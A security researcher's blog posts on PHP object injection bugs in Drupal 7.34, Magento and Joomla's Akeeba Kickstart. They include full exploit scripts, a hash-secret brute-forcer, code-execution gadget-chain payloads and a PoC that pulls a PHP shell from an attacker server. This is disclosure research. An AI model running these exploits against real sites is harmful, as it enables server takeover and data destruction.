New RIPS brings an Advent full of PHP Application Vulnerabilities

November 29, 2016

The year is coming to an end and many things have changed. In the past three years, I have researched new static code analysis techniques and finished the development of a complete new generation of RIPS. The new generation is a state-of-the-art SAST tool for the automated detection of security issues in PHP code and it’s based on a fundamentally different engine than the previous versions. With its strong focus on all subtlenesses and security pitfalls of the PHP language and with new code analysis techniques it clearly outperforms any other solution for PHP security analysis I have seen. Together with a passionate team of experts, we founded the RIPS Technologies company and released the next generation of RIPS as a standalone product and also as a cloud service. Although personally it was a difficult decision to commercialize a project I have been working on since 7 years, it is a great opportunity to continue working full-time on RIPS and to advance it together (join us!).

Due to all these changes there was little time left for research and new blog posts. Nonetheless, our team and customers have been using the next generation of RIPS daily throughout the year and as a result have discovered many interesting security bugs in PHP applications. In order to sweeten your Christmas time, we will publish a technical description for some of these bugs in form of an advent calendar at the RIPS Technologies Blog. Each day until Christmas, a new post will uncover a new security vulnerability or provide insights into the new RIPS engine and its cool features. I hope you will enjoy the posts and I wish you all a Merry Christmas!

Open the Advent of PHP Application Vulnerabilities (APAV) calendar

Drupal 7.34 Admin PHP Object Injection

January 9, 2015

There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took.

1. PHP Object Injection

Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended.

protected function curlHeaderCallback($curlHandler, $header) {  
	if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) {  
		// Call DrupalWebTestCase::error() with the parameters from the header.  
		call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1])));  

Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method.

protected function curlInitialize() {
	global $base_url;

	if (!isset($this->curlHandle)) {
	   $this->curlHandle = curl_init();
	   $curl_options = array(
		CURLOPT_COOKIEJAR => $this->cookieFile,
		CURLOPT_URL => $base_url,
		CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'),
		CURLOPT_USERAGENT => $this->databasePrefix,

That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope:

HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 15:03:36 GMT
Server: Apache
X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;}
Content-Length: 0
Content-Type: text/html

The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options.

protected function curlExec($curl_options, $redirect = FALSE) {
	curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options);
	$content = curl_exec($this->curlHandle);

The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter.

protected function drupalGet($path, array $options = array()) {
	$options['absolute'] = TRUE;

	$out = $this->curlExec(array(CURLOPT_URL => url($path, $options));

2. Header Injection

We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize.

Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here.

A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities.

2.1 Drupal Send Headers

Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight.

function system_test_set_header() {  
   drupal_add_http_header($_GET['name'], $_GET['value']);  
   return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value']));  

The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way.

2.2 HTTP Response Splitting

A more promising function is drupal_goto() in /includes/ that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed).

function drupal_goto($path = '', array $options = array(), $http_response_code = 302) {  
   // A destination in $_GET always overrides the function arguments.  
   // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector.  
   if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) {  
     $destination = drupal_parse_url($_GET['destination']);  
     $path = $destination['path'];  
     $options['query'] = $destination['query'];  
     $options['fragment'] = $destination['fragment'];  
   $url = url($path, $options);  
   header('Location: ' . $url, TRUE, $http_response_code);

First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url.

function drupal_parse_url($url) {
  if (strpos($url, '://') !== FALSE) {
    // Split off everything before the query string into 'path'.
    $parts = explode('?', $url);
    $options['path'] = $parts[0];
    // If there is a query string, transform it into keyed query parameters.
    if (isset($parts[1])) {
      $query_parts = explode('#', $parts[1]);
      parse_str($query_parts[0], $options['query']);
      // Take over the fragment, if there is any.
      if (isset($query_parts[1])) {
        $options['fragment'] = $query_parts[1];

For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583.

Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following:


Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting?

After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP.

So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL:


However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input.

Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though😉.

2.3 External URL

Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test).

public function testCron() {  
     global $base_url;  
     $this->drupalGet($base_url . '/cron.php'); 

The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/

function drupal_settings_initialize() {  
     global $base_url, $base_path, $base_root;  
     // Create base URL  
     $http_protocol = $is_https ? 'https' : 'http';  
     $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST'];  
     $base_url = $base_root; 
     // Use $base_url as session name, without the protocol  
     list( , $session_name) = explode('://', $base_url, 2);  
     session_name($prefix . substr(hash('sha256', $session_name), 0, 32));

The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server.

The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit.

3. Exploitation

Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/ that allows to delete an arbitrary file by specifying the _temp_tarname property.

class Archive_Tar {
  function __destruct()  
     if ($this->_temp_tarname != '')  

On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header.

class Archive_Tar {
	var $_temp_tarname=''; 
	public function __construct() {
		$this->_temp_tarname = "sites/default/settings.php";
$payload = urlencode(serialize(new Archive_Tar));
header('X-Drupal-Assertion-1: '.$payload);

Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case:

// Drupal 7.34 POI just for fun
// requires admin credentials

$username = 'admin';
$password = 'admin';

$targetDomain 	= 'localhost';
$myDomain 	= '';

function request($url, $postdata='', $ajax = false) {
	global $cookie, $myDomain;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_HEADER, true); 	
	curl_setopt($ch, CURLOPT_URL, $url);
	if(!empty($postdata)) {
		curl_setopt($ch, CURLOPT_POST, TRUE);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	$header = array("Host: $myDomain");
	if($ajax) {
		$header[] = "X-Requested-With: XMLHttpRequest";
	curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
	curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
	$buf = curl_exec ($ch);
	preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies);
	if(!empty($cookies)) {
		$cookie .= $cookies[1].'='.$cookies[2]."; "; 
	return $buf;

$baseURL = 'http://%s/';
$target = sprintf($baseURL, $targetDomain);
$cookie = 'has_js=1; ';

// get CSRF token
$r1 = request($target);
preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id);

// login
$postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block';
$r2 = request($target . '?q=node&destination=node', $postdata);

// check login status
$r3 = request($target . '?q=node');
if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) {

	// get CSRF token
	$r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay');
	preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2);
	preg_match('/form_token" value="([^"]*)"/', $r4, $token);
	if(isset($build_id2[1]) && isset($token[1])) {
		// run simple test
		$postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1].
		$r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata);
		// trigger start and do
		preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc);
		$r6 = request($target . $loc[1]);
		$r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true);
		echo 'Successfully started AggregatorCronTestCase with a faked Host header.',
			'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.',
			'This may take a few minutes.';
	else {
		die("could not fetch simpletest CSRF token");
else {
	die("Could not login. Invalid login credentials?");

The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks.

Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with).

The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures.

Magento PHP Object Injection

December 8, 2014

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

	// app/code/core/Mage/Adminhtml/controllers/DashboardController.php
	public function tunnelAction()  
		$gaData = $this->getRequest()->getParam('ga');  
		$gaHash = $this->getRequest()->getParam('h');  
		if ($gaData && $gaHash) {  
			$newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
			if ($newHash == $gaHash) {  
				if ($params = unserialize(base64_decode(urldecode($gaData)))) {  

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

	// app/design/adminhtml/default/default/template/dashboard/graph.phtml
	<img src="<?php echo $this->getChartUrl(false) ?>

Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData.

	// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php
	function getChartUrl() {
		$gaData = urlencode(base64_encode(serialize($params)));  
		$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
		$params = array('ga' => $gaData, 'h' => $gaHash);  
		return $this->getUrl('*/*/tunnel', array('_query' => $params));  

The following request is generated and can be intercepted:


We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

	// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php
	public function getChartDataHash($data)  
		$secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE);  
		return md5($data . $secret);  

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

Sat, 1 Nov 2014 21:08:46 +0000

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

GET /favicon.ico HTTP/1.0
If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9';

$hash = '61f3757d04b665baac6f8176a2012337';

// Wed, 05 Nov 2014 09:06:45 GMT
$timestamp = mktime(9, 6, 45,  11, 5, 2014);
$today = time();
for($i=0;$i<2592000 && $timestamp<$today; $i++) {
	$secret = date(DATE_RFC2822, $timestamp++);
	if(md5($gaData . $secret) === $hash) {
		echo $secret;

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

	// lib/Varien/File/Uploader/Image.php:357		 
	function __destruct()  

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

	// lib/Varien/Cache/Backend/Database.php
	public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())  
		$adapter = $this->_adapter;  
		switch($mode) {  
			case Zend_Cache::CLEANING_MODE_ALL:  
				if ($this->_options['store_data']) {  
					$result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']);  

If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.

	// lib/Varien/Db/Adapter/Pdo/Mysql.php
	public function query($sql, $bind = array())  
		try {  
			$this->_prepareQuery($sql, $bind);  
			$result = parent::query($sql, $bind);
		} catch (Exception $e) {  

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

	// lib/Varien/Db/Adapter/Pdo/Mysql.php	 
	protected function _prepareQuery(&$sql, &$bind = array())  
		// Special query hook  
		if ($this->_queryHook) {  
			$object = $this->_queryHook['object'];  
			$method = $this->_queryHook['method'];  
			$object->$method($sql, $bind);  

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

	// lib/Varien/Filter/Template/Simple.php	 
	public function filter($value)  
		return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',
		'$this->getData("$1")', $value);  

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:


We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

TRUNCATE TABLE {${system(id)}}RIPS

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:


In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.


class Zend_Db_Profiler { 
	protected $_enabled = false; 
class Varien_Filter_Template_Simple {
	protected $_startTag;
	protected $_endTag;
	public function __construct() {
		$this->_startTag = 'TRUNCATE TABLE ';
		$this->_endTag = 'RIPS';
class Varien_Db_Adapter_Pdo_Mysql {
	protected $_transactionLevel = 0;
	protected $_queryHook;
	protected $_profiler;
	public function __construct() {
		$this->_queryHook = array();
		$this->_queryHook['object'] = new Varien_Filter_Template_Simple;
		$this->_queryHook['method'] = 'filter'; 
		$this->_profiler = new Zend_Db_Profiler;
class Varien_Cache_Backend_Database {
	protected $_options;
	protected $_adapter; 
	public function __construct() {
		$this->_adapter = new Varien_Db_Adapter_Pdo_Mysql;
		$this->_options['data_table'] = '{${system(id)}}RIPS';
		$this->_options['store_data'] = true;
class Varien_File_Uploader_Image {
	public $uploader;
	public function __construct() {
		$this->uploader = new Varien_Cache_Backend_Database;

$obj = new Varien_File_Uploader_Image;
$b64 = base64_encode(serialize($obj));
$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';
$hash = md5($b64 . $secret);
echo '?ga='.$b64.'&h='.$hash;

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.

Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

October 5, 2014

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	return $value;

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

	foreach($_REQUEST as $key => $value)

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
	$password = AKFactory::get('', null);
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
		foreach($raw as $key => $value)
			$_REQUEST[$key] = $value;

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
	// Get the serialized factory  

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
	public function __wakeup()
		if($this->currentPartNumber >= 0)
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');

class AKPostprocFTP 
	function __wakeup()

	public function connect()
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.


$retArray = array(
	'status'	=> true,
	'message'	=> null

$enabled = AKFactory::get('kickstart.enabled', false);

	$task = getQueryParam('task');

		case 'ping':
			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
	public function __wakeup()
		if($this->currentPartNumber >= 0)
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist[''] = '';

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/';
		$this->addPath = '/var/www/joomla/';

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('', null);
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);

